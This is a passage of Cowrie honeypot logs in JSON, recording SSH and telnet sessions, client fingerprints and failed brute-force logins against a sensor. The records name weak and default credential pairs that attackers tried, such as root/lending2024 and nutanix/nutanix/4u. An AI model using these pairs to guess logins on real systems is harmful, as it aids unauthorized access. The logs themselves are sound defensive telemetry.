@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:45.158208Z","src_ip":"69.163.176.54","session":"1b07c0483935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lending2024","message":"login attempt [root/lending2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:45.405490Z","src_ip":"69.163.176.54","session":"1b07c0483935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:45.529825Z","src_ip":"91.92.40.153","session":"603b8c6daa9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:46.487457Z","src_ip":"69.163.176.54","session":"1b07c0483935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:47.689035Z","src_ip":"91.92.40.153","session":"603b8c6daa9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48912,"dst_ip":"10.17.0.5","dst_port":22,"session":"9664bbce2735","protocol":"ssh","message":"New connection: 91.92.40.153:48912 (10.17.0.5:22) [session: 9664bbce2735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:48.673603Z"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:49.005252Z","src_ip":"139.99.74.35","session":"3c23b9001107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c362cd9566","protocol":"ssh","message":"New connection: 139.99.74.35:52624 (159.203.135.109:22) [session: f6c362cd9566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:49.231377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:49.321622Z","src_ip":"91.92.40.153","session":"9664bbce2735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:49.327954Z","src_ip":"91.92.40.153","session":"9664bbce2735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:52.271064Z","src_ip":"91.92.40.153","session":"9664bbce2735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:53.998900Z","src_ip":"139.99.74.35","session":"f6c362cd9566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36072,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed3d4a064ef","protocol":"ssh","message":"New connection: 139.99.74.35:36072 (159.203.135.109:22) [session: 4ed3d4a064ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:54.213960Z"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:54.410844Z","src_ip":"91.92.40.153","session":"9664bbce2735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56676,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c1d9bd1f31","protocol":"ssh","message":"New connection: 91.92.40.153:56676 (10.17.0.5:22) [session: f2c1d9bd1f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:54.607765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:55.468879Z","src_ip":"91.92.40.153","session":"f2c1d9bd1f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:55.471765Z","src_ip":"91.92.40.153","session":"f2c1d9bd1f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:58.715187Z","src_ip":"91.92.40.153","session":"f2c1d9bd1f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:59.002999Z","src_ip":"139.99.74.35","session":"4ed3d4a064ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36096,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6223528f604","protocol":"ssh","message":"New connection: 139.99.74.35:36096 (159.203.135.109:22) [session: f6223528f604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:59.248737Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47290,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96fead8a5d7","protocol":"telnet","message":"New connection: 107.6.151.170:47290 (159.203.135.109:23) [session: d96fead8a5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:10:59.293519Z"}
{"eventid":"cowrie.session.closed","duration":120.00255703926086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:00.468382Z","src_ip":"107.6.151.170","session":"6229a1de0dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:00.552386Z","src_ip":"91.92.40.153","session":"f2c1d9bd1f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56702,"dst_ip":"10.17.0.5","dst_port":22,"session":"a910c01552eb","protocol":"ssh","message":"New connection: 91.92.40.153:56702 (10.17.0.5:22) [session: a910c01552eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:01.204216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:01.761092Z","src_ip":"91.92.40.153","session":"a910c01552eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:01.764835Z","src_ip":"91.92.40.153","session":"a910c01552eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46318,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1be876e21dd","protocol":"ssh","message":"New connection: 160.187.174.22:46318 (159.203.135.109:22) [session: f1be876e21dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:02.235083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:02.238778Z","src_ip":"160.187.174.22","session":"f1be876e21dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:02.472018Z","src_ip":"160.187.174.22","session":"f1be876e21dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:03.194782Z","src_ip":"160.187.174.22","session":"f1be876e21dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:04.037229Z","src_ip":"139.99.74.35","session":"f6223528f604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:04.040890Z","src_ip":"139.99.74.35","session":"f6223528f604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:04.434293Z","src_ip":"160.187.174.22","session":"f1be876e21dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:04.955176Z","src_ip":"91.92.40.153","session":"a910c01552eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34148,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20ab667f2cf","protocol":"ssh","message":"New connection: 91.92.40.153:34148 (10.17.0.5:22) [session: f20ab667f2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:06.701562Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:07.236965Z","src_ip":"91.92.40.153","session":"a910c01552eb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:07.633263Z","src_ip":"91.92.40.153","session":"f20ab667f2cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:07.636631Z","src_ip":"91.92.40.153","session":"f20ab667f2cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:11.286582Z","src_ip":"91.92.40.153","session":"f20ab667f2cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41520,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff8841e899fe","protocol":"ssh","message":"New connection: 91.92.40.153:41520 (10.17.0.5:22) [session: ff8841e899fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:12.823662Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:13.834250Z","src_ip":"91.92.40.153","session":"f20ab667f2cf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:13.976118Z","src_ip":"91.92.40.153","session":"ff8841e899fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:13.979471Z","src_ip":"91.92.40.153","session":"ff8841e899fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:17.895812Z","src_ip":"91.92.40.153","session":"ff8841e899fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41566,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcd3c027b23","protocol":"ssh","message":"New connection: 91.92.40.153:41566 (10.17.0.5:22) [session: 4dcd3c027b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:18.859117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:20.325766Z","src_ip":"91.92.40.153","session":"4dcd3c027b23","protocol":"ssh"}
